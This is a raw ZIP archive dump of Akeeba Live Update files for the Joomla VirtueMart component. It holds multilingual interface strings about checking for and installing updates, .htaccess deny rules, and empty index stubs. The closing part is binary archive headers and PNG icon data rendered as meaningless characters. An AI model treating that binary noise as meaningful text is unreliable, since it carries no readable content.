LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version" LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen" LIVEUPDATE_REMEMBER_TO_UPDATE_AIO="Denken Sie daran, auch Ihre Plugins und Module zu aktualisieren, wofür Sie den Live-Updater im VirtueMart-AIO Installationsprogramm benutzen können." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="Freigabekandidat" LIVEUPDATE_STABILITY_STABLE="Stabile Version" LIVEUPDATE_STABILITY_SVN="SVN" LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet" LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "Aktualisierungsinformationen abrufen". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter." LIVEUPDATE_SUCCESS="Erfolg" LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung"PK@y>\> 55Hcomponents/com_virtuemart/liveupdate/language/th-TH/th-TH.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="เซิฟเวอร์นี่ไม่รองรับ Live Update" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. กรุณาติดต่อผู้ให้บริการโฮสและบอกให้เปิดใช้ cURL PHP extension หรือ activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="คุณยังสามารถทำการปรับปรุง %s โดยการเข้าไปยังเว็บไซต์ด้วยตนเอง แล้วทำการดาวน์โหลดเวอร์ชั่นล่าสุด มาติดตั้งใหม่ ผ่านทาง การติดตั้งส่วนขยาย ในจูมล่า" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="มีเวอร์ชั่นใหม่กว่าแล้ว" LIVEUPDATE_NOUPDATES_HEAD="คุณใช้เวอร์ชั่นล่าสุดอยู่แล้ว " LIVEUPDATE_CURRENTVERSION="เวอร์ชั่นที่ติดตั้ง" LIVEUPDATE_LATESTVERSION="เวอร์ชั่น ล่าสุด" LIVEUPDATE_LATESTRELEASED="วันที่ รีรีสล่าสุด" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="รีเฟรช เพื่อปรับปรุงข้อมูล" LIVEUPDATE_DO_UPDATE="ปรับปรุงเป็นเวอร์ชั่นล่าสุด" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="รายละเอียด FTP" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="ดาวน์โหลด และติดตั้งเวอร์ชั่นล่าสุด" LIVEUPDATE_DOWNLOAD_FAILED="ดาวน์โหลดแพคเกจอับเดดผิดพลาด ตรวจสอบ temp-directory ของคุณสามารถเขียนได้ หรือคุณได้ทำการเปิดตัวเลือก Joomla!'s FTP ใน site's Global Configuration แล้ว" LIVEUPDATE_EXTRACT_FAILED="การแตกไฟล์แพคเกจล้มเหลว กรุณาลองปรับปรุงส่วนขยายด้วยตนเอง" LIVEUPDATE_INVALID_PACKAGE_TYPE="ประเภทแพคเกจไม่ถูกต้อง ไม่สามารถทำการปรับปรุงได้ " LIVEUPDATE_INSTALLEXT="ติดตั้ง %s %s" LIVEUPDATE_ERROR="ผิดพลาด" LIVEUPDATE_SUCCESS="สำเร็จ" LIVEUPDATE_ICON_UNSUPPORTED="ไม่รองรับ Live Update" LIVEUPDATE_ICON_CRASHED="Live Update เสียหาย" LIVEUPDATE_ICON_CURRENT="คุณใช้งานเวอร์ชั่นล่าสุดอยู่" LIVEUPDATE_ICON_UPDATES="พบการปรับปรุง คลิกเพื่อทำการปรับปรุง"PK@y>\)=components/com_virtuemart/liveupdate/language/th-TH/.htaccessnuW+A Order allow,deny Deny from all PK@y>\>components/com_virtuemart/liveupdate/language/th-TH/index.htmlnuW+APK@y>\>components/com_virtuemart/liveupdate/language/sv-SE/index.htmlnuW+APK@y>\)=components/com_virtuemart/liveupdate/language/sv-SE/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ t Hcomponents/com_virtuemart/liveupdate/language/sv-SE/sv-SE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server verkar inte stöda att Live Update körs. Kontakta din webbhotelleverantör och be dem aktivera cURL i PHP alternativt aktivera URL fopen() wrappers. Om dessa redan är aktiverade skall du be dem att konfigurera brandväggen så den tillåter tillträde från följande URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera %s genom att gå till vår webbplats manuellt, ladda ned den senaste versionen och installera den med Joomla!:s egen installerare." LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som kraschad" LIVEUPDATE_STUCK_INFO="Live Update har upptäckt att den kraschade förra gången den försökte kontakta uppdateringsservern. Vanligen beror detta på att webbhotellet har blockerat kommunikation med externa webbplatser. Om du ändå vill försöka hämta uppdateringsinformation, klicka på knappen "Hämta uppdateringsinformation" nedan. Om detta resulterar i en vit sida, skall du kontakta ditt webbhotell och rapportera felet." LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange ditt användarnamn/lösenord eller Nedladdnings-ID i komponentens inställningar innan du kan uppgradera till senaste versionen. Uppgraderingsknappen kommer att vara inaktiv till dess du gjort detta." LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version" LIVEUPDATE_NOUPDATES_HEAD="Du har redan senaste versionen" LIVEUPDATE_CURRENTVERSION="Installerad version" LIVEUPDATE_LATESTVERSION="Senaste version" LIVEUPDATE_LATESTRELEASED="Senaste versionsdatum" LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL" LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation" LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version" LIVEUPDATE_FTP_REQUIRED="Live Update indikerar att den måste använda FTP för att kunna ladda ned och installera din uppdatering. Du måste först ange och spara dina uppgifter för FTP i Joomla!:s Globala Inställningar.

      Ange användarnamn och lösenord till din FTP nedan för att kunna fortsätta uppdateringen." LIVEUPDATE_FTP="FTP-information" LIVEUPDATE_FTPUSERNAME="FTP Användarnamn" LIVEUPDATE_FTPPASSWORD="FTP Lösenord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdatering" LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringsaketet misslyckades. Kontrollera att temp-mappen är skrivbar och att du har aktiverat Joomla!:s FTP-lager i Globala Inställningar." LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdateringspaketet misslyckades. Prova att uppdatera tillägget manuellt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta." LIVEUPDATE_INSTALLEXT="Installerar %s %s" LIVEUPDATE_ERROR="FEL!" LIVEUPDATE_SUCCESS="KLART!" LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte" LIVEUPDATE_ICON_CRASHED="Live Update krashade" LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen" LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA."PK@y>\&c c Hcomponents/com_virtuemart/liveupdate/language/tr-TR/tr-TR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelle" LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor" LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="%s güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz." LIVEUPDATE_STUCK_HEAD="Canlı güncelleme hata vermiş" LIVEUPDATE_STUCK_INFO="Canlı güncelleme, güncelleme sunucusuna son bağlanma denemesinde hata verdiğini belirledi. Bu durum genellikle dışarıdaki sunuculara bağlantıları engelleyen bir sunucu yapılandırmasından kaynaklanır. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "Güncelleme bilgisini al" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız sunucu yöneticinize bu durumu iletin." LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarlarından kullanıcı adı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelle düğmesi devre dışı görünecektir." LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm bulundu" LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz" LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm" LIVEUPDATE_LATESTVERSION="Son sürüm" LIVEUPDATE_LATESTRELEASED="Son yayın tarihi" LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi" LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini al" LIVEUPDATE_DO_UPDATE="Son sürüme güncelle" LIVEUPDATE_FTP_REQUIRED="Canlı Güncelle, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.

      Lütfen güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın." LIVEUPDATE_FTP="FTP Bilgisi" LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı" LIVEUPDATE_FTPPASSWORD="FTP Parolası" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indir ve kur" LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun." LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni elle güncellemeyi deneyin." LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor." LIVEUPDATE_INSTALLEXT="%s %s kurulsun" LIVEUPDATE_ERROR="Hata" LIVEUPDATE_SUCCESS="Başarılı" LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme Desteklenmiyor" LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi" LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz" LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN."PK@y>\)=components/com_virtuemart/liveupdate/language/tr-TR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\>components/com_virtuemart/liveupdate/language/tr-TR/index.htmlnuW+APK@y>\>components/com_virtuemart/liveupdate/language/it-IT/index.htmlnuW+APK@y>\VtvOOHcomponents/com_virtuemart/liveupdate/language/it-IT/it-IT.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translation: Roberto Restelli (roberto@msoutlook.it) LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server" LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattare il fornitore e chiedere di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, far verificare la configurazione del firewall per permettere l'accesso al seguente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare %s visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni." LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash" LIVEUPDATE_STUCK_INFO="Live Update ha determinato che nell'ultimo tentativo di contattare il server di aggiornamento l'operazioni e è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazioen con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "Verifica disponibilità aggiornamenti" più sotto. Se il risultato è una pagina vuota, contattare il proprio fornitore per segnalare il problema." LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e password oppure il proprio Download ID tra i paraemtri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'isnerimento di tali informazioni." LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione" LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_CURRENTVERSION="Versione installata" LIVEUPDATE_LATESTVERSION="Ultima versione" LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione" LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto" LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti" LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione" LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate le corrette informazioni di configurazione in Joomla. Inserire wui sotto Username e password per il servizio FTP per proseguire con l'aggiornamento." LIVEUPDATE_FTP="Informazioni FTP" LIVEUPDATE_FTPUSERNAME="Username FTP" LIVEUPDATE_FTPPASSWORD="Password FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento" LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificare che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito." LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale." LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato." LIVEUPDATE_INSTALLEXT="Installazione %s %s" LIVEUPDATE_ERROR="Errore" LIVEUPDATE_SUCCESS="Completato" LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato" LIVEUPDATE_ICON_CRASHED="Live Update non funzionante correttamente" LIVEUPDATE_ICON_CURRENT="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!"PK@y>\)=components/com_virtuemart/liveupdate/language/it-IT/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)7components/com_virtuemart/liveupdate/language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)=components/com_virtuemart/liveupdate/language/nl-NL/.htaccessnuW+A Order allow,deny Deny from all PK@y>\,-R R Hcomponents/com_virtuemart/liveupdate/language/nl-NL/nl-NL.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Dutch Translation version 3.2.3 by [Robert J. Klop] info@zocors-web.nl LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund" LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt %s altijd updaten door onze site te bezoeken, de laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren." LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht" LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "Ververs update informatie" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit." LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is." LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie beschikbaar" LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al" LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie" LIVEUPDATE_LATESTVERSION="Nieuwste versie" LIVEUPDATE_LATESTRELEASED="Datum laatste release" LIVEUPDATE_DOWNLOADURL="URL voor directe download" LIVEUPDATE_REFRESH_INFO="Ververs update-informatie" LIVEUPDATE_DO_UPDATE="Update naar de laatste versie" LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.

      Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten." LIVEUPDATE_FTP="FTP informatie" LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam" LIVEUPDATE_FTPPASSWORD="FTP wachtwoord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update" LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn." LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken." LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan." LIVEUPDATE_INSTALLEXT="Installeer %s %s" LIVEUPDATE_ERROR="Fout" LIVEUPDATE_SUCCESS="Succesvol" LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund" LIVEUPDATE_ICON_CRASHED="Live Update gecrasht" LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie" LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN."PK@y>\>components/com_virtuemart/liveupdate/language/nl-NL/index.htmlnuW+APK@y>\)=components/com_virtuemart/liveupdate/language/ru-RU/.htaccessnuW+A Order allow,deny Deny from all PK@y>\>components/com_virtuemart/liveupdate/language/ru-RU/index.htmlnuW+APK@y>\bLDHcomponents/com_virtuemart/liveupdate/language/ru-RU/ru-RU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление" LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к вашему хостеру и попросите его разрешить CURL расширение для PHP или активировать функцию URL FOPEN (). Если они уже включены, пожалуйста, попросите его настроить их брандмауэр так, что он позволял получить доступ к следующему адресу:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить %s посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!." LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку" LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если вы хотели бы снова получить информацию об обновлении, пожалуйста, нажмите кнопку "Обновить информацию об обновлении" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с вашим хостером и сообщите об этой проблеме." LIVEUPDATE_ERROR_NEEDSAUTH="Вы должны ввести ваше имя пользлвателя/пароль или ID загрузки в параметры компонента перед попыткой обновления до последней версии. Кнопка обновления будет оставаться неактивной, пока вы этого не сделаете." LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия" LIVEUPDATE_NOUPDATES_HEAD="У вас уже установлена последняя версия" LIVEUPDATE_CURRENTVERSION="Установленная версия" LIVEUPDATE_LATESTVERSION="Последняя версия" LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии" LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки" LIVEUPDATE_REFRESH_INFO="Обновить информацию об обновлении" LIVEUPDATE_DO_UPDATE="Обновить до последней версии" LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но вы не сохранили данные для авторизации на FTP в Общих настройках Joomla!.

      Просьба ввести имя пользователя и пароль FTP для продолжения обновления." LIVEUPDATE_FTP="Информация FTP" LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление" LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что вы включили FTP в Общих настройках Joomla!." LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться." LIVEUPDATE_INSTALLEXT="Установлено %s %s" LIVEUPDATE_ERROR="Ошибка" LIVEUPDATE_SUCCESS="Успешно" LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается" LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не прошло" LIVEUPDATE_ICON_CURRENT="У вас последняя версия" LIVEUPDATE_ICON_UPDATES="НАЙДЕНО ОБНОВЛЕНИЕ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ."PK@y>\>components/com_virtuemart/liveupdate/language/no-NO/index.htmlnuW+APK@y>\mfL L Hcomponents/com_virtuemart/liveupdate/language/no-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

      Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PK@y>\)=components/com_virtuemart/liveupdate/language/no-NO/.htaccessnuW+A Order allow,deny Deny from all PK@y>\. <components/com_virtuemart/liveupdate/assets/nosupport-32.pngnuW+APNG  IHDR szz pHYs   ZIDATX uWkl3Oxk0P3ƴȩI("-hRVi?H-D! $!@B Dv)cH(#,ػ玽ρ]|sϹ>B&']-uufm֭UoȱTABOQjF4s߽ƭD`φ ݻW-|ᩧZL(V# II`!d~uݸ OX{zqڊ&]om*SI6& PP0E',͠xrϵD[>&5MMMqvO{dJ˄"57aHQ8ۭfI8Hl;r$ F>[єɴ+E>.`L8zG:C7vS_jG]͏!…/BE^g4Q,f1l6aYx? ?7/IB& &a%}z~4[{{Ag8W/mݸ1mڴuxvhT3hPFC:D` | Θ$ݽKB2@@G:J@'Hݑ[B-9~c-Or$sL;L| b1*dXO_zEw R/i%hE& yc1GQ((ܵf64_jkMHW"|C!qtZDӼ_BL"`i{"sWVmŕ/˜DAI ٦Ozβ#:& z2]~EJF &F\Q+QxINQ޽4zRiقVΛgw&{d(zu\I 5̐4Ng[xpsr@-B_^M bȜL$_0b CgAj'NaJc*n@bdi8q׬ÇMPvJHs6bV:bE4:`gQK ,Z*#5JE)6,ʁ#]K^KB #vw ͻs(cuDNE |XTDY.Z<q<\:b(앁.YXsDm?5eg֢q8_`4{Nk}]*_TOEKp\`Pӎ)aŧ'.:I ㆁ_ЎTX-g[SCޞ!p0m9 (28h[6}&Q 'LFyf0JA0 fq;FP3'*EzH9H$” M%T cdo7|7#zFDɹlԁ@Ad_cwGqy{z\)l cK_F nlevFNԋtZ+{{ΝkDNFƠ'):m $U@ 뭞.ͯYJ瓂=_2ƭyyב&nb({яw#gF nbJ7JJ')JJJPHOu$d8]dÆ$lL&OA Hk`,(e|(+H&Z':&IBbȹ4p; a剿hƮ@pWĉ}h_ǍNqðXlF`(N,[WwP(4 Θ?p gY _kڗ v*b x H~mjŐM*و0 nѳVۋkAf@#R^;gmҴ NXIUUse3W{? 3wb9IENDB`PK@y>\2;\\7components/com_virtuemart/liveupdate/assets/fail-24.pngnuW+APNG  IHDRw= pHYs  IDATH mVmlS~ιc;q $1 #FƠ&Ԋ jGºǴNU'X;m մ`CZʀB)]nI khY~{P*Z^sy>ǹ|N"qh@ )&0\>I4COa%JXLK|FzJGm-=ֶ 5XWf.71;4tm'./]1 tK^b۾jݱEx҃&@\ܸ]_.&u)o ~pWUuQ(L6L-`< p??:[x;$>^/Knή{kxv`&|6+Xʺe)TܼO tmv>||U>~Y͏}s]jU t+B!q̐ǯ~φe& Y8,L,M-m}eΝP__z֤WNoܨQ&NS%zd3Q;ܹ^M}a 